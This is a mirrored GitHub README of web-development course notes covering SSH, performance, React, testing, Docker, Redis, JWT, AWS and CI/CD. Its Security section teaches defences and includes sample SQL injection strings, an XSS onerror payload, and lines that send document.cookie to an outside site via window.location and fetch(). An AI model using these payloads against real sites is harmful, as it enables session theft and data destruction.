Giter VIP home page Giter VIP logo

junior-to-senior's Introduction

The Complete Junior to Senior Web Developer Roadmap (2020)

Table of Contents

Section 2: SSH

  • Introduction to SSH
    • HTTP: Hypertext Transfer Protocol
    • FTP: File Transfer Protocol
    • HTTPS: Hypertext Transfer Protocol Secure
    • SSH: Secure Shell Protocol
    • Host: Remote Server (OS: ubuntu)
    • Client: My computer
  • SSH Command
    • SSH Command: ssh {user}@{host}
    • Connect to host: ssh [email protected]
    • Install Git: sudo apt-get install git
    • Install Node JS: sudo apt-get install nodejs
    • Install all dependencies: apt install npm
    • Delete all files in folder: rm -rf dir1
    • Delete all file: rm file
    • Quit host: exit
  • Saving The Day Through SSH
    • rsync is a utility to transfer files between client and host
    • Example: rsync -av . [email protected]:~/superawesome.com
  • How SSH Works
    • Symmetric Encryption: use one secret key for both encryption and decryption by both parties
      • Both parties generate the secret key with public shared data using Key Exchange Algorithm
      • Secret key is specified to each SSH session
    • Asymmetric Encryption: use 2 separate secret key for encryption and decryption
      • Both parties generate temporary secret key
      • Difiie Hellman Key Exchange Algorithm
      • Encrpyt data with public key
      • Decrypt data with paired private key
    • Hashing
      • Verify the authentication of the message
      • Hash based Message Authentication codes
    • Passwords Or SSH?
      • Difiie Hellman Key Exchange
      • Arrive at Symmetric Key
      • Make sure of no funny business
      • Authenticate User
  • SSH Into A Server:
    • Overview:
      • Generate public/private key pair at client
      • Share public key with host
      • SSH to host with public key at client
      • How To Set Up SSH Keys
    • How to setup manually?
      • Client: cd ~/.ssh
      • Generate public/private key pair: ssh-keygen -t rsa -b 4096 -C "[email protected]"
        • Public key: id_rsa_digitalocean.pub
        • Private key: id_rsa_digitalocean
      • Copy public key to clipboard: pbcopy < ~/.ssh/id_rsa_digitalocean.pub
      • Host: ssh [email protected]
      • Show hidden files: ls -a
      • Goto SSH folder: cd .ssh
      • Open authorized_keys file: nano authorized_keys
      • Paste public key: Command-v
      • Exit authorized_keys file and save: Ctrl-x -> Press Y -> Press Enter
      • Quit host: exit
      • Client: ssh-add ~/.ssh/id_rsa_digitalocean
        • Add id_rsa_digitalocean private key into the SSH authentication agent for implementing single sign-on with SSH
      • Host: ssh [email protected]
      • Open authorized_keys file: nano authorized_keys
      • Delete key: Place cursor at start of key -> ctrl-k
    • How to setup with digital ocean interface?
      • (Top Right Corner) My profile -> (Left SideBar) Settings -> Security Tab -> SSH keys
      • Note: Add the SSH key on the control panel -> create a new server
  • Set Up SSH on Github
    • Client
      • Generate public/private key pair: ssh-keygen -t rsa -b 4096 -C "[email protected]"
      • Add private key to ssh-agent: ssh-add -K ~/.ssh/id_rsa_github
      • Copy public key to clipboard:pbcopy < ~/.ssh/id_rsa_github.pub
    • Github: Add new public key
      • (Top Right Corner) Settings
      • (Left Sidebar) SSH and GPG keys
      • New SSH Key
      • Ctrl-v
    • Client
    • Github: Check SSH key display Last used within the last week — Read/write

⬆ back to top

Section 3: Performance Part 1

  • Introduction to Performance Part 1
    • Client make a request to Server
    • Server return HTML
    • Client render HTML and need CSS
    • Client request CSS from Server
    • Client request Assets from Server
    • Client request JS from Server
  • Visitor expect site to load within 2 sec
  • In order to display website,
    • Frontend: Send GET request to Backend
    • Backend: Receive the request
    • Backend: Retrieve data from database
    • Backend: Process data and return data to Frontend
    • Frontend: Render HTML and data from Backend
  • 3 Keys To Performance
    • Improve the Frontend render
    • Transfer of file, network latency
    • Improve the Backend processing
  • How to improve?
    • Frontend
      • Critical Render path (Part 1)
      • Optimized Code (Part 2)
      • Progressive Web App (Part 2)
    • Transfer
      • Minimize Files (Part 1)
      • Minimize Delivery (Part 1)
    • Backend
      • CDNs (Part 3)
      • Caching (Part 3)
      • Load Balancing (Part 3)
      • DB Scaling (Part 3)
      • GZIP (Part 3)
  • Network Performance
    1. Honey I shrunk the files
    2. The traveling deliveryman
  • Honey I shrunk the files
  • Minimize Text: HTML, CSS, JS (Revisit in Webpack)
  • Minimize Images
    • JPG: e.g. photograph
      • lot of colors required
      • no transparent background
    • GIF: use for small animation
    • PNG: e.g. logo
      • less colors required
      • transparent background
    • SVG: vector graphic, expand without distortion
  • Resources: Image File Formats
  • Image Optimizations
    • If you want transparency: use a PNG
    • If you want animations: use a GIF
    • If you want colourful images: use a JPG
    • If you want simple icons, logos, and illustions: use SVGs
    • Reduce PNG with TinyPNG
    • Reduce JPG with JPEG-optimizer
    • Reduce SVG with Nano
    • Try to choose simple illustrations over highly detailed photographs
    • Always lower JPEG image quality (30 - 60%)
    • Resize image based on size it will be displayed
    • Display different sized images for different backgrounds
    • Use CDNs like imigx
    • Remove image metadata
  • Exercise: #1 - Media Queries
  • The traveling deliveryman
    • Less trips: is CSS framework necessary?
    • Less trips: is JS library necessary?
    • Browser: 2-6 max currently request
    • Combine all CSS files into one
    • Combine all JS files into one
  • Exercise: #2 - Network Optimizations
    • Minimize all text: e.g. CSS and JS Minifier
    • Minimize images
    • Media Queries
    • Minimize # of files Before After
  • Critical Render Path Introduction
    • DOM -> CSSOM -> Render Tree -> Layout -> Paint
    • Client: 1. Request HTML file from server
    • Server: Return HTML file
    • Client: Parse HTML and start to build the DOM
    • Client: Request external resources from server
    • Client: 2. Request CSS file from server
    • Server: Return CSS file
    • Client: Parse CSS and start to build the CSSOM
    • Client: 3 .Request JS file from server
    • Server: Return JS file
    • Client: 4. DOMCOntentLoaded state
    • Client: Read JS file and make changes to the DOM or CSSOM
    • Client: Combine DOM and CSSOM into a render tree
    • Client: Figure out the layout and positioning with the render tree
    • Client: Paint all the pixels on the browser
    • CLient: Request photo when encounter image tag from server
    • Client: Start to download photo in the background
    • Client: Show when downloaded
    • Client: JS modified Render tree due to user trigger events
  • Critical Render Path 1
    • HTML: Load style tag in the <head>
    • HTML: Load script right before </body>
  • Critical Render Path 2
    • CSS: Only load whatever is needed
    • CSS: Above the fold loading: load necessary style first
    • CSS: Media Attributes
    • CSS: Less Specificity
  • Critical Render Path 3
  • Critical Render Path 4
    • Download HTML -> Construct DOM
    • Download CSS -> Construct CSSOM
    • Download JS -> Modify DOM and CSSOM
    • Construct render tree with DOM and CSSOM
    • Figure layout and positioning from the render tree
    • Paint pixels on the screen
    • Load image in the background and display web page
  • Exercise: #3 - Critical Render Path
  • Free course: The Critical Rendering Path
  • Exercise: #4 - Keiko Corp Website
  • Resource Prefetching: Prefetching, preloading, prebrowsing
  • Performance Tools
  • HTTP/2
  • HTTP/3

⬆ back to top

Section 4: React + Redux + Module Bundling

  • Angular vs React vs Vue (think of Pros and Cons)
  • Angular: for large bank with massive codebase
  • Angular: a full framework, everyone sticks to the rules
  • React: for a company with a strong developer team
  • React: need to be flexible and evolve by adding different libraries and tools to the ecosystems
  • React: simple way of writing code
  • Vue: Super easy to pick up
  • Critical Render Path
    • JS Delivery
    • Minimise DOM manipulation with JS
    • Minimise re-rendering
  • Why use Redux?
    • Good for managing large state
    • Useful for sharing data between containers
    • Predictable state management using the 3 principles
      • Single source of truth
      • State is read only
      • Changes using pure functions
    • Action -> Reducer -> Redux Store -> Make changes in Components
    • Resources: Webpack 4 Configurator

⬆ back to top

Section 5: Performance Part 2

⬆ back to top

Section 6: Testing

  • Types of Tests
    • Unit Tests
    • Integration Tests
    • Automation Tests
  • Testing Tools and Framework (BDD)
    • Testing libraries: Jasmine, Jest, Mocha
    • Assertion libraries: Jasmine, Jest, chai
    • Test runner: Jasmine, Jest, Mocha, Karma
      • DOM, Puppeteer, jsdom
    • Mock, Spy and Stub: Jasmine, Jest, Sinon.js
    • Code Coverage: Istanbul, Jest
      • npm test -- --coverage
  • React Testing
    • Snapshot
    • Enzyme
  • Unit Tests
    • Test pure functions
    • Don't test the contract
      • server and database
  • Integration Tests
    • cross commmunications between units of code
    • Spy to ensure expect side-effect
    • Stub to mock and modify part of process (mock database call)
  • Automation Tests (e2e Tests)
    • Entire process of UI Tests runnning in a browser
    • Simulate user behaviors
    • Hardest to setup (Different platform)
    • Examples: Nightwatch, Web Driver IO, TestCafe, Nightmare, Cypress
  • Final Note on Testing
    • Production: App.js, DOM, Puppeteer (headless browser)
    • Development: App.test.js, jsdom
      • Read the test
      • Run the test
      • Output code coverage
  • Upcoming API Endpoint
  • Jest Cheat Sheet
  • Enzyme
    • Shallow Render (shallow): render current component only, not parent and child
    • Static Render (render): render current component and child
    • Full Render (mount): render entire dom
  • Nock
  • SuperTest
  • What Test is Best?

⬆ back to top

Section 7: TypeScript

⬆ back to top

Section 8: SPA vs Server Side Rendering

  • SPA - Client Side Rendering
    • More JS is send to client on initial request
    • Longer for JS to get send and execute
    • SEO performance
    • Critical Render Path
      • Barebone HTML - Nothing to be rendered
      • Wait for JS to arrive
      • Wait for JS to execute
      • Webpage is loaded
  • Server Side Rendering
    • Critical Render Path
      • Server response a fully rendered page initial
      • Wait for JS to arrive
      • Wait for JS to execute
      • Webpage is loaded
  • Server Side Rendering React
    • Server: ReactDOMServer.renderToNodeStream()
      • New version. Performance Improvement
    • Server: ReactDOMServer.renderToString()
    • Client: Receive a fully rendered page initial
    • Client: ReactDOM.hydrate()
    • Client: Attached event listeners to the fully rendered page
// server.js - ssr
import express from "express";
import React from "react";
import fs from "fs";
import { renderToString } from "react-dom/server";
import App from "/App";

const app = express();
app.use(express.static('/public'));

const robots = JSON.parse(fs.readFileSync('/public/robots.json'));
const RobotfriendsApp = React.createElement(App);
app.get('/', (request, response) => {
  response.render('index', {
    content: renderToString(RobotfriendsApp({ data: robots }))
  })
});

⬆ back to top

Section 9: Security

  • Star of Security

    • Injections
    • 3rd party libraries
    • Logging
    • Https everywhere
    • XSS & CSRF
    • Code secrets
    • Secure headers
    • Access control
    • Data management
    • Don't trust anyone
    • Authentication

  • Injections

    • SQL Injection

      • eg. Add in password field: 'or 1=1--
      • eg. Insert into a new row: '; DROP TABLE users; --
          id serial PRIMARY KEY,
    email text UNIQUE NOT NULL
  );

INSERT INTO sqlinjection (email)
VALUES (; DROP TABLE sqlinjection; --);

    • PostgreSQL

    • PostgreSQL GUI tool for macOS

    • Postgres Prefs

    • Code injection Exercise: Start Security-server, then security-client

    • Key in <img src='/' onerror="alert('boom')">

  • Solution:

    • Sanitize input with white and black list
    • Parametrize Queries: Use object relational mapper
      const sqlSelect = (name, email, id) => {
    if(name === number)
  }

  • 3rd party libraries

  • Logging

  • HTTPS Everywhere - SSL/TLS Certificates

  • XSS & CSRF

    • XSS: Cross Side Scripting (use for session hijack)
      • Cross-site scripting for dummies
      • Hacker inject malicious code into blog post
      • Malicious Code is run when user visit the blog post
      • Example: window.location = 'www.zzz.com?cookie=' + document.cookie
      • Send user cookie to to malicious website www.zzz.com
    • CSRF: Cross Site Request Forgery
      • Client <-> Server <-> Database
      • Client <-> 3rd Party API
      • Users log in to their netbank.com
      • Send them a malicious with the following code in the link
      • Example: <a href="http://netbank.com/transfer.do?acct=AttackerA&amount=$100">Read more!</a>
      • Users click the link and send AttackerA $100
      • Example 2:
      • fetch('//httpbin.org/post',{method:'POST',body:document.cookie})
      • Send cookie of the current login website to a malicious site
      • httpbin.org
      • Solution: Block in document's Content Security Policy
    • XSS and CSRF Summary
      • Sanitize input
      • No eval()
      • No document.write()
        • Example: document.write('<script>alert(1)</script>')
      • Content Security Policy
      • Secure + HTTPOnly Cookies
        • Secure: Cookies send over https
        • HTTPOnly: Prevents cookies from being accessed by client side scripting
      • csurf

  • Code Secrets

  • Secure Headers

  • Access Control

    • Principal of least privilege
    • Example: cors
      • Don't give public access to server
      • Give access to people you trust, add a white list

  • Data Management

  • Don't Trust Anyone (need to monitor all areas)

    • Client <-> Server <-> Database
    • Client <-> 3rd Party API
    • ratelimiter
    • How to prevent bad actors? -Authentication
    • Session-Based Authentication
    • Token-Based Authentication
    • Exercise: #4 - Optional Hacking
    • Resource: Personal Security
    • Resource: OWASP Top Ten

⬆ back to top

Section 10: Code Analysis

  • Setting Up Your Environment
    • Client: smart-brain
    • Server: smart-brain-api
    • Database: PostgreSQL
    • 3rd Party API: clarifai
  • How To Analyze Code
    • Look at API first: smart-brain-api
      • Folder structure
      • package.json
      • Readme
      • Entry point
      • start from server.js
      • goto each controller
    • Frontend App
      • look at src folder
      • start with index.js
      • goto entry point App.js
      • look at initialState
      • look at event handler
      • look at jsx to figure out the layout
    • See what can be improved?
    • Look at the code in an unemotional way
    • Goal is to integrate into the tech team
    • Do not criticize as you have no idea how decision is made in the past

⬆ back to top

Section 11: Docker

Docker Containers

⬆ back to top

Dockerfile

  • bin/bash
  • RUN: execute and stack image in docker container
  • CMD: exexute when enter docker container, only one CMD
  • Outside host cannot access to container by default
  • Port binding

⬆ back to top

Docker Commands

  • Build Server Image: docker build -t smartbrainservercontainer .
  • Build Client Image: docker build -t smartbrainclientcontainer .
  • Run and Enter container: docker run -it smartbrainservercontainer
  • Run container in the background: docker run -it -d smartbrainservercontainer
  • List all container: docker ps
  • Enter a container running in background: docker exec -it 7464fd583963 bash
  • Stop running container: docker stop 7464fd583963
  • Port forwarding: docker run -it -p 3000:3000 smartbrainservercontainer
  • The Ultimate Docker Cheat Sheet

⬆ back to top

Docker Compose

⬆ back to top

PostgreSQL With Docker

⬆ back to top

Docker Networks

⬆ back to top

Section 12: Redis

  • Redis NoSQL in memory database
  • Use for short live data, e.g. sessions, web page headcount
  • Redis take a snapshot and store on disk
  • NoSQL Databases
    • Key - Value: redis
    • Document: mongoDB, CouchDB
    • Wide Column: cassandra
    • Graph: neo4j
  • RelationalDB (SQL)
    • users.txt
    • tweets.txt
    • profile.txt
    • following.txt
  • MongoDB (MongoDB query)
    • users1.txt
    • users2.txt
    • users3.txt
  • SQL vs. NoSQL Databases: What’s the Difference?
  • Installing Redis
  • Redis Quick Start
  • Issue with Redis install
  • Redis Installation fails when running make command
  • Try Redis
  • Redis Commands
    • Set key-value: set name jane
    • Get value by key: get name
    • Check key exists: exists name
    • Delete key: del name
    • Set key to expire in 10s: expire name 10
    • Set key-value: set counter 1000
    • Increment counter by 33: incrby counter 33
    • Decrement counter by 1: decr counter
  • Redis Data Types
    • Set multiples key-value: mset a 2 b 5
    • Get multiples key-value: mget a b
    • Redis Hashes - similar to object
      • Set hash with key-values: hmset user id 45 name "Jonny"
      • Get hash with key: hget user id
      • Get hash with key: hget user name
      • Get all keys and values: hgetall user
    • Redis Lists - similar to linked lists
      • Push 10 to the list from left: lpush ourlist 10
      • Push Hello to the list from right: rpush ourlist "hello"
      • Show 2 items in list from left: lrange ourlist 0 1
      • Pop the list from right: rpop ourlist
    • Redis Sets + sorted sets - data is unique
      • Set key and score member: zadd team 50 "Wizard"
      • Set key and score member: zadd team 40 "Cavalier"
      • Show 2 items in set from left: zrange team 0 1
      • Set key and score member: zadd team 1 "Bolts"
      • Show 2 items in set from left: zrange team 0 2
      • Get item position in: zrank team "Wizard"

⬆ back to top

Section 13: JWT + Sessions

  • Cookie vs. Token Authentication
  • Cookie is stateful. Need to store in database to track
  • Token is stateless. Don't need to store in database
  • Token is stateless. Browser will destroy the token when user sign out
    • Pro: Stateless. Backend can check validity
    • Pro: Can store user info in token
    • Pro: Easy to work with different APIs
    • Pro: Can serve both browser and mobile platform
    • Con: Size of JWT is larger than cookie
    • Con: Stolen JWT can decode to see info in JWT
  • Token Authentication vs. Cookies
  • Why JWTs Suck as Session Tokens
  • What We Are Building
    • JWT token
      • /signin -> Username / Password -> server
      • client <- JWT token <- server
      • /profile/23 -> token in authorisation header -> server
      • client <- package <- server
    • Cookie
      • /signin -> Username / Password -> server
      • client <- Cookie <- server
      • /profile/23 -> cookie -> server <-> redis
      • client <- package <- server
    • JWT token Improved
      • /signin -> Username / Password -> server
      • client <- JWT token <- server
      • /profile/23 -> token in authorisation header -> server <-> redis
      • client <- package <- server
  • JWT
    • Meaning information in JWT Payload
    • jsonwebtoken
      • Sign: var token = jwt.sign({ foo: 'bar' }, 'shhhhh');
      • Verify: var decoded = jwt.verify(token, 'shhhhh');
  • Project Goals
    • Add requireAuth before access backend service
  • Profile Icon
  • HTML entities
  • Updating Profile
  • Sending The JWT Token
  • Adding Redis
    • Node Redis
    • Best JavaScript code snippets using redis.RedisClient
    • Shutdown docker container: docker-compose down
    • Build and Start docker container: docker-compose up --build
    • Start docker container: docker-compose up
    • Connect redis client to redis server in docker container: docker-compose exec redis redis-cli
    • set token id: set ayJhbGciOiJIUzI1NiIseyJlbWFpbCI6InRpbUBnbWFpbC5jb20iLCJpYXQimV4cCI6MTU4ODk5MTU2N30.INBo55fz0JZRds0aXqs3LeGD4I 3
    • get token: get ayJhbGciOiJIUzI1NiIseyJlbWFpbCI6InRpbUBnbWFpbC5jb20iLCJpYXQimV4cCI6MTU4ODk5MTU2N30.INBo55fz0JZRds0aXqs3LeGD4I
  • User authentication process with email and password (first time)
    • User Signin: Client [{ email, password }] => Backend API
    • Backend Sign Token: Client - Backend API [token = jwt.sign({ email }, JWT_SECRET)]
    • Redis Store Token: Client - Backend API [redisClient.set(token, id)] => Redis
    • Client Receive token: Client [{ success, userId, token }] <= Backend API - Redis
    • Client save Auth Token In Session: Client [window.sessionStorage.setItem('token', token)] - Server - Redis
      • sessionStorage: session for single browser tab
      • localStorage: session for multiple browser tabs
  • User authentication process with token (refresh browser)
    • User refresh browser: Client [req = { headers: { 'Authorization': token } } ] => Backend API
    • Backend Get Id from Auth Token : Client - Backend API [redisClient.get(token)] => Redis
    • Redis pass id to Backend: Client - Backend API <= Redis [id]
    • Client Receive id: Client [id] <= Backend API - Redis
  • Bearer Token
  • Middleware
    • case that we always need to act up request
    • Authorization Middleware: check for Authorization header in request
      • No Authorization header -> response status 401
      • Get User Id from redis with token
        • No User Id or null -> response status 401
      • Pass request to next middleware
  • Updating our App
    • Update Dockerfile
    • Update docker-compose.yml
    • Update package.json

⬆ back to top

Section 14: AWS

Amazon Web Services

  • AWS
    • EC2: Virtual Servers in the Cloud
    • S3: Scalable Storage in the Cloud
    • Lambda: Run Code without Thinking about Servers
    • CloudFront: Global Content Delivery Network
    • DynamoDB: Managed NoSQL Database
    • Google Amazon flow
    • Example: Smart Brain App
      • CloudFront: serve static Smart Brain frontend files
      • EC2: Smart Brain backend rest API
      • DynamoDB: store user info, user profile
      • Lambda: take image url from EC2 and send to clarify
      • Lambda: store clarify response in S3
      • S3: return respose from clarify to EC2
  • Monolithic vs Micro Services
    • Monolithic: all services must be tested before deploy to production
    • Micro Services: small chunks can be tested individually
  • Amazon Lambda - stateless
    • function is only run when trigger
    • no cost if the function is not trigger
    • AWS Management Console
      • Find services: Lambda
      • Create function
      • Enter function name, select Runtime and Permissions
  • Amazon Lambda Dashboard
  • IAM - Manage access to AWS resources
    • Users: Add user with Programmatic access
    • Set permissions: AdministratorAccess (for development only)
    • Get Access key ID and Secret access key
    • Managing IAM Policies
    • IAM
  • Serverless
    • Create Lambda function with Serverless
    • Get Help: serverless --help
    • Get Help on specific command: serverless create --help
    • Shorthand: sls --help
    • Create a new Serverless preoject: sls create -t aws-nodejs
    • Connect AWS account to serverless framework with IAM: sls config credentials --provider aws --key <Access key ID> --secret <Secret access key>
      • Goto cd ~/.aws
      • check credentials has Access key ID and Secret access key
    • Deploy to Lambda: sls deploy
    • Invoke Lambda function: sls invoke --function rank
    • Invoke Lambda function locally: sls invoke local --function rank
    • Specifies that the rank function should be run when someone accesses the API gateway at rank via a GET request.
functions:
  rank:
    handler: handler.rank
    events:
      - http:
          path: rank
          method: get

⬆ back to top

Section 15: Performance Part 3

  • CDNs
  • GZIP Compression
  • Brotli compression format
    • Check Response Headers: content-encoding: br
  • Database Scaling
    • Identify Inefficient Queries
      • Do not have too many joints
      • Ask for required information only
      • Use indexes - CREATE INDEX idx_name ON table_name (column_name);
      • Storage is the slowest piece in a relational database
      • Inefficient Query can cause a huge amount of delay
    • Increase Memory
      • Store more information in memory
    • Vertical Scaling (Redis, Memchached)
      • Add another service so that your system effectively uses the resources better
      • Add another server that is a memory storage which makes things fast means that we've just increased the memory of our database
      • Check Redis first before asking the database
      • Database response will cache in Redis
      • Use memory access instead of disk access
    • Sharding
      • break down the data into different places
        • one database store age > 30
        • another database store age <=30
    • More Databases
      • Distribute request load to different database
      • Place a load balancer in front of all databases to distribute the load
    • Database Type
      • decide what type of characteristics or behaviors do we want to out of the database
  • Caching
    • CPU - register (cache) <=> RAM - memory <=> HDD
    • Cache HTML, CSS and JS files in CDN
    • Cache API response in Database, Redis or variable
    • Cache in the browser
      • Convert web app into PWA app
      • Cache HTML, CSS and JS files in Application tab - Cache
      • Check Network tab - Size: (from ServiceWorker)
      • memory cache
      • disk cache
      • How to update cache?
        • Cache will update if see different ETag
        • [cache busting](What Is Cache Busting?)
      • HTTP Cache
      • Response header
        • Content-Length: 1024
        • Cache-Control: public, max-age=7200
        • ETag: W/"ca-171f45c4838"
      • http://localhost:3000/static/
        • First time load: Status - 200, Size - 531 Bytes
        • Next time load: Status - 304, Size - 276 Bytes
        • First time load in a new tab: Status - 200, Size - (disk cache)
    • Caching Everywhere
    • Cache Headers
    • Caching and Performance
  • Load Balancing

⬆ back to top

Section 16: CI/CD

  • Continuous Integration, Delivery, Deployment
    • Continuous Integration: Code PR -> Tests -> Build -> Merge
    • Continuous Delivery: Acceptance -> Manual -> Deploy
    • Continuous Deployment: Acceptance -> Auto -> Deploy
  • Continuous Integration
    • Developers integrate code into a shared repository frequently
    • Each integration is verified by an automated build and automated tests
    • Each pull requests of a bug fix or a new feature must go through an automatic build step to make sure that all our unit tests pass
    • Make sure the code is compatible with the rest of the codebase
    • One of the key benefits of integrating regularly is that you can detect errors quickly and locate them more easily because each change that is introduced is going to be small and it's going to pinpoint the specific change that introduce a defect
    • If we make a PR, we run the tests and those tests fail. We know right away that that PR needs to get fixed.
    • Even after the PR is merged and a bug suddenly appears, we know that this PR most likely did it because it was recently introduced
    • The point is for companies to make sure that code from many developers has as little as possible bugs and that it stays consistent as much as possible
    • This process makes sure that code of the individual developers meet a certain standard and that this way no matter how big our teams we can make sure that individual developers work don't divert from the original codebase
    • We keep things in check and continuous integration is that when you combine the process of making a PR frequently with automated testing and building and then other developers checking the PR and then finally merging it
    • By doing this you avoid the integration hell that usually happens when people wait for release day to merge everything
  • Continuous Delivery
    • The practice of keeping your code base deployable at any point
    • We need all the configurations necessary to push in production whenever we want continuous delivery
    • It is the idea that we're always going to keep things ready so that when we want a delivery product deployed to production
    • There is an update to our product. We have this extra step of acceptance tests. We want this feature to do this and a QA analyst or a product owner checks to make sure that all the features are implemented and then manually a developer or a team lead clicks on a button that says deploy to production
    • Continuous delivery is an extension of continuous integration to make sure that you can release new changes to your customers quickly in a sustainable way
    • This means that on top of having automated your testing you also have to automate the release process so that you can deploy your production at any point in time
    • In theory with continuous delivery delivery process in your company you can decide to release daily weekly every night or whatever suits your business requirement.
  • Continuous Deployment
    • Keep your application deployable at any point in time
    • Automatically deploy to production if acceptant tests are automatically passed
  • Why learn?
    • It's because continuous deployment and continuous delivery have developed as best practices for keeping our application in a good state in a deployable state at any point.
    • Every change that passes all stages of your production what we call pipeline this process is released to your customers
    • There's no human intervention and only a failed to test will prevent a new change to be deployed to production
    • In the long run as the team grows they'll have less bugs and more manageable code
  • Building Great Software
    • Project setup: decide on the folder structure
    • Build steps: setup webpack or use create-react-app
    • Continuous Integration setup:
    • Expand to continuous delivery and deployment
    • Before: Code -> Github -> Code Review -> Merge
  • Continuous Integration tools
    • Code -> Tests, Lint, Typescript -> Prettier -> Github -> circleci -> Code Review -> Merge
    • How CI tools works?
      • A CI server that runs your continuous integration or continuous delivery
      • When you make a PR, the CI server know we just have a pool request and run all the unit tests, make sure everything passes and build the project
      • If nothing fails in that step everything is good to go
      • This PR is valid
      • You can now do a code review and somebody can do a final check on the code and then people can merge it
      • So we're adding this extra step over here or an extra machine that's going to do some work for us automatically every time we make a PR and circle CI is a software as a service solution
    • Top 8 Continuous Integration Tools
    • TravisCI or CircleCI for hosted CI servers.
    • Jenkins for your own managed CI servers.
    • Prettier
    • Webpack Bundle Analyzer
    • Storing Build Artifacts
    • CircleCI Exercise
  • Code -> Tests, Lint, Typescript -> Prettier -> Github -> circleci -> Code Review -> Merge
  • Deploy to Staging [process.env=staging]-> Acceptance Test -> Deploy to Production [process.env=production] -> Smoke Test

⬆ back to top

Section 17: Extra Bits

  • Section Overview
  • Complexity vs Simplicity
    • Choose Simplicity over Complexity
    • Create code of good quality
    • Good code is self documented
    • Good code minimise bug
    • Minimise complexity as much as you can
    • What can I do to make this code easy to understand?
  • NPM Is Not Your Friend
    • Most react library is written as class component
    • Take the library src and refactor to functional component if possible
    • Check library size
  • Learn To Learn
  • Start With Why
    • Tools come and go
    • Fundamental: computer science topics
    • Fundamental: software development practices
    • Why this solution was created?
    • What problem is it solving?
    • Why is this the answer to my problem?
    • Understand the why of each library and what problems they solve?
    • Understand the big picture
    • Be the observer not the hamster
    • See the entire ecosystem and make smart decision
  • Endorsements On LinkedIN

⬆ back to top

Section 20: Bonus: AMA Video!

  • Machine Learning and Business Analysis
  • Business Data, Data Analysis
  • Developer lifecycle
    • Learning to code, who to ask, what course to take
    • Imposter Syndrome, don't know enough
    • Lead project, do not get to god complex
      • understand pro and con based on the situation
      • open to suggestions
  • Use code to automate a repeating task in mylife
  • Pick a tech stack to finish and deliver fast
  • Gain valuable experience to work with tech team in company
  • Freelancing with an established client based
  • Freelancing with a niche and rare skill
  • Look at hot and trendy technology
  • Selective in what you learn - 20/80
  • Start from Why?

⬆ back to top

junior-to-senior's People

Contributors

chesterheng avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.